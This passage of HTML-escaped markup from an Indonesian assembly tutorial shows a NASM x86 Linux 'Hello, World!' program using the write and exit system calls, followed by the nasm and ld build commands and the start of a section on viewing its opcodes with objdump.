font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;edx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;len   &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; panjang string dimasukkan dalam register EDX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;msg  &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; alamat memori yang menyimpan string dimasukkan dalam register ECX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;1&lt;/span&gt;     &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; file descriptor (1=stdout=defaultnya console) disimpan dalam register EBX&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;4&lt;/span&gt;     &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; Nomor syscall 4 adalah fungsi sys_write()&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;int&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0x80&lt;/span&gt;        &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; panggil system call dengan interrupt 80 hexa.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; systemcall =&amp;amp;gt; exit(0)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;xor&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;     &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; membuat EBX menjadi 0 sebagai return code ketika exit&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;1&lt;/span&gt;     &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; nomor syscall 1 adalah fungsi exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;int&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0x80&lt;/span&gt;        &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; panggil system call dengan interrupt 80 hexa.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;section &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.data&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; section data khusus buat data/variable&lt;/span&gt;&lt;br /&gt;msg &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;db&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #7f007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;"Hello, World!"&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0xa&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; String diikuti dengan 0xA yaitu new line \n.&lt;/span&gt;&lt;br /&gt;len equ $ &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;-&lt;/span&gt; msg  &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; Panjang string didapat dengan mengurangi address di baris ini dengan alamat string.&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Setelah itu kita akan mengcompile file ASM itu menjadi object code berformat ELF dengan NASM (netwide assembler). Setelah itu akan terbentuk file hello.o yang harus dilink dengan linker LD agar menjadi format executable.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;$ nasm -f elf hello.asm&lt;br /&gt;$ ld -s -o hello hello.o&lt;br /&gt;$ ./hello&lt;br /&gt;Hello, World!&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Selamat, anda telah berhasil membuat program Hello World dalam bahasa Assembly. Program di atas sangat sederhana, kita memanggil system call write() untuk menampilkan string (msg), kemudian kita memanggil system call exit() untuk keluar dari program dan program selesai. String msg kita taruh dalam section .data karena section tersebut khusus untuk menyimpan data/variabel. Sedangkan instruksi assembly disimpan dalam section .text karena section text khusus untuk menyimpan code.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Hello World Opcode&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Untuk melihat keterkaitan antara assembly dan bahasa mesin kita bisa melihat opcode dari program assembly yagn kita buat dengan program objdump pada gambar berikut ini.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/opcode-assembly1.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; 